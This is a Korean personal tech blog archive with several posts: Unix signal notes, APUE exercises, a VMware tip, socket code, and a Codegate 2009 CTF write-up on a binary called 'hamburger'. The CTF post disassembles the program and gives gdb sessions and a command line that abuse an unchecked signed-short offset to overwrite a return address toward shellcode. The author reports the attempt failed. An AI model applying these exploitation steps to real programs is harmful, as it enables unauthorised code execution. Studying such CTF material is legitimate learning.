redhat 9.0 networking problem in vmware

2010. 6. 20. 11:28


http://www.daniweb.com/forums/thread505.html


The answer to this one is buried in the VMWare site.
You have to find all copies of ifcfg-eth0 and add the lines:

check_link_down() {
return 1;
}

That fools the device into thinking the vmWare NIC is giving it a link up signal, which it doesn't.

Hope this helps, it works everytime for me. Good luck.

replied by GarrathE


고맙고맙

'OS > Linux' 카테고리의 다른 글

about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

about Signal

2009. 12. 9. 12:06
Signal은 소프트웨어적인 interrupt로서 비동기적인 사건을 처리하는 수단이다.

    프로세스의 입장에서 보면 Signal은 아무때나 발생한다.
    프로세스에서 그냥 변수 하나를 판정하는 것만으로는 신호가 발생했는지의
    여부를 파악할 수 없다. 대신, 프로세스는 커널에게 이런 신호가 발생하면 이런 일을
    수행하라고 알려주어야 한다.

    신호가 발생했을 때 수행되는 일을 신호의 처분(disposition)
또는 신호에 연관된 행동
    이라고 부른다. 프로세스가 신호를 처분하는 방식은 크게
세가지이다,

    1) 신호를 무시한다. 대부분의 신호들을 무시하는 것이 가능하지만, SIGKILL과 SIGSTOP은
    그럴수 없다. 이 두 신호를 무시할 수 없는 이유는 커널과 슈퍼사용자가 임의의 프로세스를
    임의로 죽이거나 멈출 수 있도록 하기 위한 데 있다.

    2) 신호를 잡는다(catch) 이를 위해서는 커널에게 신호 발생 시 호출될 할수를 알려주어야 한다.
    그 함수에서는 신호 발생 조건을 처리하는 데 필요한 어떠한 일도 할 수 있다.

    3) 기본 행동이 적용되게 한다. 모든 신호는 기본행등을 가지고 있다. 대부분의 신호들의
    기본행동은 프로세스를 종료 시키는 것이다.

   signal 함수

    #include <signal.h>
    void (*signal(int signo, void(*func)(int)))(int);
    반환 값 : 성공 시 신호의 이전 행동 오류시 SIG_ERR

    signo 인수에는 위에 있는 신호 이름들중  하나를 넣는다.

    func 인수로는
    a) SIG_IGN 상수나
    b) SIG_DFL 상수
    c) 신호 발생 시 호출될 함수의 주소를 넣을 수 있다.
   
    SIG_IGN을 지정하는 것은 signo 로 지정된 신호를 무시하도록 시스템에게 알려주는 것에 해당한다.
    SIG_DFL을 지정하면 신호 발생 시 신호의 기본행동이 수행된다.
    신호 발생 시 호출될 함수의 주소를 지정하는 것은 프로세스가 해당 신호를 잡겠다 라고
    시스템에게 알려주는 것이다. 그러한 함수를 signal handler 또는 signal-catching function 이라고
    불린다.

    signal 함수의 원형에서 보듯이 이 함수는 2개의 인수를 받는다. 반환값은 아무것도 돌려주지 않는
    함수를 가리키는 포인터이다. signal 함수으 첫인수 signo는 정수이고 둘째 인수는 정수 인수를 하나
    받고 아무것도 돌려주지 않는 함수를 가리키는 포인터이다. signal 이 돌려주는 함수 포인터가 가리키는
    함수는 하나의 정수 인수를 받는다.  좀더 풀어서 말하면 하나의 signal handler 함수는 하나의 정수
    인수를 받고 아무것도 돌려주지 않는다. signal을 호출해서 신호 처리부를 설정할 때 둘째 인수에는
    그러한 신호 처리부를 가라키는 포인터를 넣는다. 이때 signal의 반환값은 이전에 설정되었던 신호
    처리부를 가리키는 포인터이다.

    신호 집합

    여러 개의 신호를 신호 집합(signal set) 으로 표현하느 자료 형식이 존재한다. 그리고 이러한 신호
    집합을 사용 또는 조작하는 여러 함수들이 있다. 예를 들어 sigprocmask 함수는 이 집합에 포함되어
    있는 신호들을 전달하지 말라고 커널에게 알려준다. 이 신호 집합을 조작하는 함수들은 5가지 이다.

    #include <signal.h>
    int sigemptyset(sigset_t *set);
    int sigfillset(sigset_t *set);
    int sigaddset(sigset_t *set, int signo);
    int sigdelset(sigset_t *set, int signo);
    반환 값 : 성공 시 0, 오류시 -1 - 네 함수 전부

    int sigismember(const sigset_t *set, int signo);
    반환 값 : 참이면 1, 거짓이면 0, 오류 시 -1

    sigemptyset 함수는 set이 가리키는 신호 집합을 빈 집합으로 만든다. 즉 신호 집합에서 모든
    신호를 제외시킨다.
    sigfillset 함수는 모든 신호를 신호 집합에 포함시킨다.
    신호 집합을 사용하는 응용프로그램은 반드시 신호 집합을 사용하기 전에 sigemptyset이나
    sigfillset을 호출해서 신호 집합을 초기화 해야 한다. sigaddset 함수는 하나의 신호를 기존 집합에
    추가하고, sigdelset 함수는 하나의 신호를 제거한다.

    sigprocmask 함수

    프로세스의 신호 마스크는 프로세스에 대한 전달이 현재 차단되어 있는 신호들을 나타낸다.
    프로세스는 자신의 신호 마스크를 조회 하거나, 수정하거나, 조회와 수정을 한번에  모두
    수행할 수 있다.
   
    #include <signal.h>
    int sigprocmask(int how, const sigset_t *restrict set, sigset_t *sigset_t *restrict oset);
    반환 값 : 성공 시 0, 오류 시 -1

    신호 마스크를 조회할 때는 oset 인수에 널 포인터가 아닌 포인터를 넣는다. 그러면 프로세스의
    현재 신호 마스크가  oset이 가리키는 곳에 설정된다.
    신호 마스크를 설정할 때에는 set 인수에 널 포인터가 아닌 포인터를 넣는다. 신호 마스크의
    구체적인 수정 방식은how 인수에 의해 결정된다.

    SIG_BLOCK    프로세스의 현재 신호 마스크와 set이 가리키는 신호 비합의 합집합이 프로세스의
                새 프로세스 마스크가 된다. 차단할 신호들을 추가할 때 유용하다.
    SIG_UNBLOCK    프로세스의 현재 신호 마스크와 set이 가리키는 신호 집합의 교집합이 프로세스의
                새 프로세스 마스크가 된다. 신호들의 차단을 해제할떄 유용하다.
    SIG_SETMASK    set이 가리키는 신호 집합의 값이 프로세스의 새 신호 마스크가 된다.

    set이 널 포인터이면 프로세스의 신호 마스크가 변하지 않으며 how는 무시된다.
    sigprocmask를 호출한 후 차단되지 않고 유보 중인 신호들이 존재하면, 신호들 중 적어도 하나가
    sigprocmask의 반환 전에 프로세스에 전달된다.
   
    sigpending 함수

    sigpending 함수는 호출한 프로세스에 대한 전달이 차단되어 있으며 현재 유보 중인 신호들의
    집합을 set 인수가 가리키는 곳에 저장한다.

    #include <signal.h>
    int sigpending(sigset_t *set);
    반환 값 : 성공 시 0, 오류 시 -1

    위의 함수들을 이용한 프로그램.

#include 
#include 

static void sig_quit(int);

int main(void)
{
    sigset_t    newmask, oldmask, pendmask;

    if (signal(SIGQUIT, sig_quit) == SIG_ERR)
        err_print("can`t catch SIGQUIT");

    //SIGQUIT 신호를 차단하고 현재 신호 마스크를 보존해둔다.

    sigemptyset(&newmask);  //signal을 비우고
    sigaddset(&newmask, SIGQUIT);  //SIGQUIT를 더하고
    if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) // 추가한 SIGQUIT만 차단, oldmask로 보존 해 둔다
        err_print("SIG_BLOCK error");

    sleep(5);
    if (sigpending(&pendmask) < 0) // 현재 차단되고 유보중인 신호 집합을 pendmask로 저장
        err_print("sigpending error");

    if (sigismember(&pendmask, SIGQUIT)) //pendmask에 SIGQUIT가 있으면 출력
        printf("\nSIGQUIT pending\n");

    // 신호 마스크를 복원한다. (SIGQUIT 차단이 해제된다)

    if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)  // oldmask 를 복원한다.
        err_print("SIG_SETMASK error");

    printf("SIGQUIT unblocked\n");

    sleep(5); // 여기서 SIGQUIT에 의해 프로세스가 종료되고 코어 파일이 생성된다.

    exit(0);
}

static void sig_quit(int signo)
{
    printf("caught SIGQUIT\n");
    if (signal(SIGQUIT, SIG_DFL) == SIG_ERR)
        //SIG_DFL을 지정하면 신호 발생 시 신호의 기본 행동이 수행된다. 
        err_print("can`t reset SIGQUIT");
}


    sigaction 함수

    sigaction 함수는 특정 신호의 처분 방식을 조사하거나 설정하는 데 쓰인다.

    #include <signal.h>
    int sigaction(int signo, const struct sigaction *restrict act, struct sigaction *restrict oact);
    반환 값 : 성공 시 0, 오류 시 -1

    signo 인수는 처분 방식을 조사하거나 수정할 신호의 번호이다.
    신호 처분 방식을 설정할 때에는 act 인수에 널이 아닌 포인터를 넣어야 한다.
    그 포인터는 새 설정을 담은 구조체를 가리킨다. oact 인수에 널이 아닌 포인터를 지정하면,
    함수는 oact가 가리키는 곳에 이전의 신호 처분 방식을 저장한다.


    struct sigaction {
        void (*sa_handler)(int) /*신호 처리부의 주소*/
        sigset_t sa_mask    /*추가로 차단할 신호들 */
        int        sa_flags    /*신호 옵션들*/
        void(*sa_sigaction)(int, siginfo_t *, void *);
    };

    신호의 처분 방식을 변경하는 경우, act가 가리키는 구조체의 sa_handler 필드에는 신호 처리부의
    주소를 설정해야 한다. 그리고 sa_mask 필드에는 신호 처리부가 호출되기 전에 프로세스의 신호
    마스크에 추가될 신호들에 해당하는 값을 설정한다.

    신호 처리부가 반환 되면 그 시점에서
프로세스의 신호 마스크가 원래의 값으로 재설정된다.
    이를 통해서, 신호 처리부가 호출될 떄마다
특정한 신호들을 차단할 수 있다.
    신호 처리부가 호출될 때 운영체제는 전달되는 신호를 신호 마스크에
포함시킨다.
    따라서 한 신호를 처리하는 도중 같은 신호가 더 발생해도 첫 신호의 처리가 끝날 때까지는

    추가적인 신호들이 차단된다. 같은 신호가 여러번 발생해도 추가 발생들이 대기열에 쌓이는게 아니다.
    신호가 차단된 상태에서 신호가 다섯 번 더 발생해도, 신호의 차단을 해재했을 때 그 신호에 대한
    신호 처리부는 한번만 호출되는 것이 보통이다.

    sigaction 함수를 이용한 signal 함수를 구현.

#include 

Sigfunc *signal(int signo, Sigfunc *func)
{
    struct sigaction    act, oact;

    act.sa_handler = func;
    sigemptyset(&act.sa_mask);
    act.sa_flags = 0;

    if (signo == SIGALRM) {
#ifdef SA_INTERRUPT
        act.sa_flags |= SA_INTERRUPT;
#endif
    }
    else {
#ifdef SA_RESTART
        act.sa_flags |= SA_RESTART;
#endif
    }

    if (sigaction(signo, &act, &oact) < 0)
        return(SIG_ERR);
    return (oact.sa_handler);
}


     sigsuspend 함수

    신호 마스크를 재 설정하는 연산과 프로세스를 재우는 연산을 하나의 원자적인 연산으로
    수행할 수 있는 함수가 sigsuspend 이다

    #include <signal.h>
    int sigsuspend(const sigset_t *sigmask);
    반환 값 : -1, errno는 EINTR 로 설정됨

    이 함수를 호출하면 프로세스의 신호 마스크가 sigmask 가 가리키는 값으로 설정된다. 그런후 프로세스는
    어떠한 신호가 잡히거나 신호에 의해 프로세스가 종료될 때 까지 일시 정지된다.  신호가 잡히고 그것을
    처리한 신호 처리부가 반환되면 sigsuspend의 호출이 반환되어서 프로세스가 실행을 재개한다.
    이 때 프로세스 마스크는 sigsuspend 호출 이전의 값으로 재 설정된다.


'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

Advanced Programming in the Unix Environment

2009. 12. 2. 10:11
누군가가 좋은책이라고 추천해준 덕분에 읽어봐야지 하고 사두었던 책이다.
간단히 보고 넘어갈 생각이었는데 어떻게 하다보니 챕터를 하나씩 정리하게 되었다.
정리한걸 잠깐 훝어봤는데 정말 오타가 많다. 눈이 제대로 보이지 않는게 가장 큰 이유겠지만
노트북 자판을 손에 익힌다고 노트북에서 정리한게 크다. 이거 다 정리하다가는 12월달도
훌쩍 갈듯 싶어서 11장 까지만 할 생각이다;

굳이 이걸 올릴 필요는 없지만 왠지 나도 놀고 있지는 않았다고 말하고 싶은 마음에..





'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
APUE 7장 연습문제  (0) 2009.11.27
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

APUE 7장 연습문제

2009. 11. 27. 10:30
연습문제 7.1) linux 에서 "hello, world"를 출력하고 exit 호출이나 return 문이 없을때
프로그램의 종지 상태echo $? 을 쳐보면 13인 것을 알수 있다. 왜그럴까.

Answer) printf의 반환값이 (출력한 문자 개수) main의 반환값이 된것으로 보인다. 
모든 시스템이 이런 행동을 보이는 것은 아니다.

7.3) main 이 어떤 함수를 호출한다고 하자.
a) main 이 그 함수에게 argc와 argv를 넘겨주지 않거나
b) main이 argc와 argv를 전역 변수로 복사하지 않았다고 해도,
그 함수가 명령줄 인수들에 접근하는 것이 가능할까?

Answer) 대부분의 UNIX 시스템들에서, 이는 붕가능하다.
environ 등과는 달리 argc와 argv의 복사본을 어떤 전역 변수들에 담아두지는 않기 때문이다.

아~ 그렇구나~.

7.4) 일부 UNIX 시스템 구현들은 프로그램 실행 시 자료 구역의 0번 위치에
프로세스가 접근하지 못하도록 메모리를 적절히 배치한다. 왜 그럴까?

Answer) 프로세스가 널 포인터를 역참조 해서 프로세스를 종료시키기 위한 것이다.

이건 뭔소리여..

7.7) size 명령의 출력에서 힙과 스택의 크기가 표시되지 않은 이유는 무엇일까?

Answer) exec류 함수들 중 하나로 프로그램이 실행되기 전까지는 할당되지 않는다.

7.10) 함수가 자신의 자동 변수를 가리키는 포인터를 돌려주어서는 안된다는 점을
이야기 한다. 아래 코드에는 문제가 없을까?

int f1(int val)
{
int *ptr;
             if ( val == 0 ) {
                    int val;
                    val = 5;
                    ptr = &val;
              }
              return (*ptr + 1);
}

Answer) 자동 정수 변수 val이 더 이상 존재하지 않게 된 후에도 포인터를 통해서 그 변수를
             참조한다는 문제를 가지고 있다. 하나의 복합문을 사랑하는 왼쪽 꺾음 괄호 이후에
             선언된 자동 변수는 해당 오른쪽 꺾음 괄호까지만 존재하고 그 이후에는 존재하지 않는다.

스택에 쓰면 이런 문제가 있으니깐..  static, extern 또는 malloc를 이용하라규

기본에 충실하고 있슴미.. 진도 참 안나간다.
눈만 잘보였어도..
                    






'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
codegate 2009. hamburger  (0) 2009.08.14
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

codegate 2009. hamburger

2009. 8. 14. 17:54

hamburger 를 실행해 보았다.



인자를 3개를 받는 다는 것을 알 수 있다. nm으로 심볼을 확인. cpy와 main이 보인다.



main 을 간략하게 분석해보았다.


 08048518 <main>:
 8048518: 8d 4c 24 04             lea    0x4(%esp),%ecx
 804851c: 83 e4 f0                 and    $0xfffffff0,%esp
 804851f: ff 71 fc                   pushl  -0x4(%ecx)
 8048522: 55                         push   %ebp
 8048523: 89 e5                     mov    %esp,%ebp
 8048525: 51                         push   %ecx
 8048526: 81 ec 24 80 00 00    sub    $0x8024,%esp
 804852c: 89 8d e4 7f ff ff        mov    %ecx,-0x801c(%ebp)
 8048532: 8d 95 f3 7f ff ff         lea    -0x800d(%ebp),%edx
 8048538: b8 ff 7f 00 00           mov    $0x7fff,%eax
 804853d: 89 44 24 08             mov    %eax,0x8(%esp)
 8048541: c7 44 24 04 00 00 00  movl   $0x0,0x4(%esp)
 8048548: 00
 8048549: 89 14 24              mov    %edx,(%esp)
 804854c: e8 6f fe ff ff          call   80483c0 <memset@plt>
 8048551: 8b 85 e4 7f ff ff     mov    -0x801c(%ebp),%eax   
 8048557: 83 38 04              cmpl   $0x4,(%eax)             argc 와 4를 cmp

 804855a: 74 27                  je      8048583 <main+0x6b>
 804855c: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 8048562: 8b 42 04              mov    0x4(%edx),%eax
 8048565: 8b 00                  mov    (%eax),%eax
 8048567: 89 44 24 04           mov    %eax,0x4(%esp)
 804856b: c7 04 24 20 87 04 08  movl   $0x8048720,(%esp)      
 8048572: e8 89 fe ff ff        call   8048400 <printf@plt>        argc가 4가 아니면 usuage... 를 찍고 종료
 8048577: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 804857e: e8 ad fe ff ff        call   8048430 <exit@plt>

 8048583: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 8048589: 8b 41 04              mov    0x4(%ecx),%eax
 804858c: 83 c0 08              add    $0x8,%eax            
804858f: 8b 00                 mov    (%eax),%eax
 8048591: 89 04 24              mov    %eax,(%esp)
 8048594: e8 77 fe ff ff        call   8048410 <
atoi@plt>      argv[2]를 atoi
 8048599: 66 89 45 f2           mov    %ax,-0xe(%ebp)       리턴값을 ebp -0xe로

 804859d: 8b 95 e4 7f ff ff     mov    -0x801c(%ebp),%edx
 80485a3: 8b 42 04              mov    0x4(%edx),%eax
 80485a6: 83 c0 0c              add    $0xc,%eax
 80485a9: 8b 00                 mov    (%eax),%eax
 80485ab: 89 04 24              mov    %eax,(%esp)
 80485ae: e8 5d fe ff ff        call   8048410 <
atoi@plt>      argv[3]을 atoi
 80485b3: 89 45 f4              mov    %eax,-0xc(%ebp)      리턴값을 ebp-0xc로

 80485b6: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485bc: 8b 41 04              mov    0x4(%ecx),%eax
 80485bf: 83 c0 04              add    $0x4,%eax
 80485c2: 8b 00                 mov    (%eax),%eax
 80485c4: 89 04 24              mov    %eax,(%esp)
 80485c7: e8 24 fe ff ff        call   80483f0 <
strlen@plt>    strlen(argv[1]) 호출
 80485cc: 89 45 f8              mov    %eax,-0x8(%ebp)      리턴값을 ebp-0x8로

 80485cf: 81 7d f8 ff 7f 00 00  cmpl   $0x7fff,-0x8(%ebp)    0x7fff(32767)와 ebp-0x8을 비교
 80485d6: 7e 18                 jle    80485f0 <main+0xd8>
 80485d8: c7 04 24 3f 87 04 08  movl   $0x804873f,(%esp) 
 80485df: e8 3c fe ff ff        call   8048420 <puts@plt>       07fff 보다 크면 string is too long 을 찍고 종료
 80485e4: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 80485eb: e8 40 fe ff ff        call   8048430 <exit@plt>

 80485f0: 8b 55 f8              mov    -0x8(%ebp),%edx          
 80485f3: 8b 8d e4 7f ff ff     mov    -0x801c(%ebp),%ecx
 80485f9: 8b 41 04              mov    0x4(%ecx),%eax
 80485fc: 83 c0 04              add    $0x4,%eax                    
 80485ff: 8b 00                 mov    (%eax),%eax
 8048601: 89 54 24 08           mov    %edx,0x8(%esp)     strlen(argv[1]) 의 리턴값을 esp+8로 (size)
 8048605: 89 44 24 04           mov    %eax,0x4(%esp)      argv[1]을 esp+4로 (src)
 8048609: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax    
 804860f: 89 04 24              mov    %eax,(%esp)             ebp-0x800d 를 esp로 (dest)
 8048612: e8 c9 fd ff ff        call   80483e0 <memcpy@plt>  call memcpy

 8048617: 0f b7 45 f2          movzwl -0xe(%ebp),%eax  
 804861b: 0f bf d0             movswl %ax,%edx              
 804861e: 8b 45 f4             mov    -0xc(%ebp),%eax    
 8048621: 89 44 24 08         mov    %eax,0x8(%esp)     atoi(argv[3])의 리턴값을 esp+8에
 8048625: 89 54 24 04         mov    %edx,0x4(%esp)     atoi(argv[2])의 리턴값을 esp+4에
 8048629: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax   ebp-0x800d 를 esp로
 804862f: 89 04 24              mov    %eax,(%esp)
 8048632: e8 bd fe ff ff         call   80484f4 <cpy> 

 8048637: 8d 85 f3 7f ff ff     lea    -0x800d(%ebp),%eax
 804863d: 89 04 24              mov    %eax,(%esp)
 8048640: e8 db fd ff ff        call   8048420 <puts@plt>
 8048645: 81 c4 24 80 00 00     add    $0x8024,%esp
 804864b: 59                    pop    %ecx
 804864c: 5d                    pop    %ebp
 804864d: 8d 61 fc              lea    -0x4(%ecx),%esp
 8048650: c3                    ret 

cpy도 살펴보자.

 080484f4 <cpy>:
 80484f4: 55                    push   %ebp
 80484f5: 89 e5                 mov    %esp,%ebp
 80484f7: 83 ec 14              sub    $0x14,%esp
 80484fa: 8b 45 0c              mov    0xc(%ebp),%eax
 80484fd: 66 89 45 ec    mov    %ax,-0x14(%ebp)    ebp+0xc(2번째 인자)를 ebp-0x14에 저장
 8048501: 8b 55 08              mov    0x8(%ebp),%edx              ebp+0x8(첫번째 인자)를 edx에
 8048504: 0f bf 45 ec           movswl -0x14(%ebp),%eax         ebp-0x14를  eax에 넣고
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax   edx+eax 한 값을 eax로
 804850b: 89 45 fc               mov    %eax,-0x4(%ebp)      
 804850e: 8b 55 fc              mov    -0x4(%ebp),%edx
 8048511: 8b 45 10              mov    0x10(%ebp),%eax   ebp+0x10(3번째 인자)를 eax로
 8048514: 89 02                 mov    %eax,(%edx)          eax를 edx가 가리키는 번지로 옮긴다.
                                                                          즉 3번째 아규먼트를 edx+eax 한 주소에 집어넣는다.
 8048516: c9                    leave 
 8048517: c3                    ret


대략적인 흐름은 다음과 같다.

argv[1]으로 입력되는 string 의 크기는 32767을 넘을 수 없으며 ebp-800d 로 복사된다.
argv[2]인 offset 은 입력된 string의 index로 사용된다.
argv[3]인 value는 입력한 값을 스트링의 특정 인덱스에 집어넣는다.

여기서 offset과 value는 값을 검사하는 루틴이 없으므로 이 값들을 조작해서 shell을 획득하는 것이
가능하지
않을까 싶다.

gdb) b *0x08048516
Breakpoint 1 at 0x8048516
(gdb) r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`
Starting program: /home/juliaa/share/codegate/hamburger `perl -e 'print "A"x32767," ","4"," ","\x90"x4'`

cpy 함수의 leave 에 bp를 걸고 r `perl -e 'print "A"x32767," ","4"," ","\x90"x4'` 로 실행 시킨후
bp에 걸린 상태에서 스택을 살펴보았다.



Breakpoint 1, 0x08048516 in cpy ()
Current language:  auto; currently asm
(gdb) info $esp
Undefined info command: "$esp".  Try "help info".
(gdb) info reg
eax            0x0 0
ecx            0x0 0
edx            0xbfae0fbf -1079111745
ebx            0xb80bdff4 -1207181324
esp            0xbfae0f84 0xbfae0f84
ebp            0xbfae0f98 0xbfae0f98
esi            0x8048670 134514288
edi            0x8048440 134513728
eip            0x8048516 0x8048516 <cpy+34>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/16x $esp
0xbfae0f84: 0xb80e0004 0x00007fff   0xb7fdcb70  0xbfae0fbb
0xbfae0f94: 0xbfae0fbf   0xbfae8fc8  0x08048637 0xbfae0fbb
0xbfae0fa4: 0x00000004 0x00000000 0xbfae8fe0  0x00000000
0xbfae0fb4: 0x00000000 0x41000000 0x00414141 0x41000000

붉은 색 부분이 ebp 이며 ebp+8 에 있는 첫번째 아규먼트의 주소 0xbfae0fbb 를 볼 수 있다.
ebp -0x14에는 argv[2]의 값이 옮겨진 0xb8e0004 가 있으며,
ebp -4 에는 0xbfae0fbb + 04 를 한 0xbfae0fbf 가 위치해 있다.


생각한대로 동작하는것을 알 수 있지만

80484fd: 66 89 45 ec           mov    %ax,-0x14(%ebp)

argv[2]의 값이 옮겨지는  부분에서 eax레지스터의 16비트만 사용하는 부분이 눈에 띄었다. short 형 변수로 받는게 아닌가 싶어서 argv[2]를 바꿔가며 입력해보았다.

----------------------------------------------------------------------------
32767      ebp+8     bffd9d1b      두값의 차이 +7FFFF
              ebp-4     bffe1d1a

32768       bfe13b4b       -8000
               bfe0bb4b

32769       bfa6afab       -7FFF
               bfa62fac

32770      bfbe391b       -7FFE
              bfbdb91d

.....

65534      bfdfb33b         -2
              bfdfb339

65535      bfe0133b         -1
              bfe0133a

65536       bfa57f9b          0
               bfa57f9b

65537       bfa76fbb          1
               bfa76fbc
---------------------------------------------------------------------


위와같이 32767 보다 큰 값을 입력 하였을때 음수로 바뀌는 것으로 미루어 signed short 형 변수를 사용하는 것으로 생각 할 수 있다.
(32비트 시스템에서 보통 signed short는 ~32768~32767 까지 나타낼 수 있다. )
이 것이 바로 이 프로그램의 취약점이 아닌가 싶다.

스택을 살펴보니 main 함수의 리턴어드레스는 argv[1]이 복사된 주소 ebp-800d 부터 7FFF 이상 떨어져  있으므로 접근할 수 없다.  가까운 cpy의 return address를 건드려보자. 

cpy함수의 코드를 다시 보면

 80484fd: 66 89 45 ec    mov   %ax,-0x14(%ebp)    
 8048501: 8b 55 08       mov    0x8(%ebp),%edx               
 8048504: 0f bf 45 ec    movswl -0x14(%ebp),%eax
         
 8048508: 8d 04 02        lea    (%edx,%eax,1),%eax
 804850b: 89 45 fc        mov    %eax,-0x4(%ebp)     


ebp+8 에 첫번째 인자, ebp-800d의 주소가 들어있으며 이 주소에 인덱스(argv[2])를 더한 주소를
ebp -4 에 넣는다. 

-----------------
ebp + 8    -   argv[1]
-----------------
ebp + 4    -   return address
-----------------
ebp 
-----------------
ebp -4        [argv[1] + argv[2]]
_________________

프로그램을 실행할때마다  스택의 주소는 바뀌지만 스택에서의 옵셋은 똑같다. 결국 ebp -4에 들어가는
 값을 return address와 같도록 만들 수 있다는 뜻이다.  실행값을 바꿔가면서 넣어본 결과  cpy의 return
address의 주소는 ebp+8 의 주소보다 0x1F 만큼 작다는 것을 확인할 수 있었다.
(65505를 입력했을때 ebp + 4의 값이  1111(0x00000457)로 바뀌어 있는 것을 볼 수 있다.)


 
이제 return address를 바꿀 수 있다. 3번째 인자의 값으로 환경변수에 띄운 쉘코드의 주소를 넣고
실행해봤더니 쉘이 실행되지 않았다..
문제가 무엇인지 디버깅을 해보았더니 세번째 입력값인 Value가
최대 7FFFFFFF 까지만 들어가기 때문이었다. 이것 역시 -1로 값을 넣어서  FFFFFFFF로 들어가서 원하는 값을
넣을 수 있었다.

최종적으로 아래와 같이 입력하였더니 segmentation fault 가 발생하였다.

./hamburger AAAA 65505 -1079758970

에러가 발생하는 이유는 eggshell을 띄운 환경변수의 주소를 eip가 정상적으로 가리키고 있지만
그 주소의 값을 실행시키지 못하는것 같았다. gdb에서 주소의 값을 보려고 해도 

Cannot access memory at address 0xbfxxxxxx  처럼 접근할 수 없다는 메세지가 나온다.

--------------------------------------------------------------------------
stack의 실행권한을 확인해 보았다. 실행권한이 빠져있다.




현재 프로세스의 stack의 실행권한은 아래와 같다. 모든권한이 주어져있다.



둘이 어떤 차이가 있고 무엇 때문에 실행이 안되는지 조만간 수정해서 다시 올리겠다..

anyway failed. :(








'OS > Linux' 카테고리의 다른 글

redhat 9.0 networking problem in vmware  (0) 2010.06.20
about Signal  (0) 2009.12.09
Advanced Programming in the Unix Environment  (0) 2009.12.02
APUE 7장 연습문제  (0) 2009.11.27
linux socket source  (0) 2009.08.05
binary analysis in linux box without symbol  (0) 2009.06.15

badcob OS/Linux

Windows socket source

2009. 8. 6. 18:23
#include 
#include 
#include 
#include 

#define BUFSIZE 1024
#define PORT      80

void ErrorHandling(char *message);


int main(int argc, char *argv[]) 
{

	WSADATA wsaData;
	SOCKET hSocket;
	char message[BUFSIZE];
	int len, i, option, result = 0;
	SOCKADDR_IN servAddr;
	struct hostent *host; 
		char *lists[] = {0,};  
	

#if 0
	if(argc!=2) {
		Usuage(argv[0]);	
	}
#endif

#if 1
	if(WSAStartup(MAKEWORD(2, 2), &wsaData) !=0)
		ErrorHandling("WSAStartup() error!");
#endif
	
	for(i=0; i<4; i++) {

		host = gethostbyname(lists[i]);

		printf("trying to connect %s...\n", lists[i]);
#if 1
	 hSocket=socket(PF_INET, SOCK_STREAM, 0);
	 if(hSocket == INVALID_SOCKET)
		ErrorHandling("socket() error");
#endif

	 option = TRUE;

     setsockopt(hSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&option, sizeof(option));
	
	 memset(&servAddr, 0, sizeof(servAddr));
	 servAddr.sin_family = AF_INET;
	 servAddr.sin_addr.s_addr = inet_addr(inet_ntoa( *(struct in_addr*)host->h_addr_list[0]));
	 servAddr.sin_port = htons(PORT);

	if(connect(hSocket, (SOCKADDR*)&servAddr, sizeof(servAddr)) == SOCKET_ERROR)
		ErrorHandling("connect() error!");

	//sprintf(message, "GET /index.html HTTP/1.1");
	sprintf(message, "hello");

	send(hSocket, message, strlen(message), 0);
	
#if 1
	len=recv(hSocket, message, BUFSIZE-1, 0);
	message[len] = 0;
	if(len == -1) {
		printf("Can`t connect %s.\n", lists[i]);
		result--;
	}
	if(len > 0) {
		printf("Success.connected to %s.\n", lists[i]);
		result++;
	}
	closesocket(hSocket);
#endif
	}

	if(result > 2) {
		printf("This machine seems to be clean\n");
	}
	else if (result <2 && result >0)
		printf("Warning. This machine needs to be other inspection.\n");
	else {
		printf("Infected!. Need some help.\n");
	}

	WSACleanup();
	return 0;
}


void ErrorHandling(char *message)
{
	fputs(message, stderr);
	fputc( '\n', stderr);
	exit(1);
}

badcob OS/Windows

linux socket source

2009. 8. 5. 17:22

쓸때마다 매번 찾는게 귀찮아서..

 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SERVER "xxx.xxx.xxx.xxx"
#define PORT "xxxx"
#define TRUE 1

void error_handling(char *message);

int main(int argc, char **argv) {

    int i,sock;

    char exploit[]="";

    unsigned char recv[512]= {0, };

    int str_len;
    int option;
    socklen_t optlen;
    
    /************* socket initialize and connect ****************/    

    struct sockaddr_in serv_addr;
    sock=socket(PF_INET, SOCK_STREAM, 0);
    if(sock == -1)
        error_handling("socket() error");

    optlen = sizeof(option);
    option = TRUE;

    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option));
    memset(&serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family=AF_INET;
    serv_addr.sin_addr.s_addr=inet_addr(SERVER);
    serv_addr.sin_port=htons(atoi(PORT));

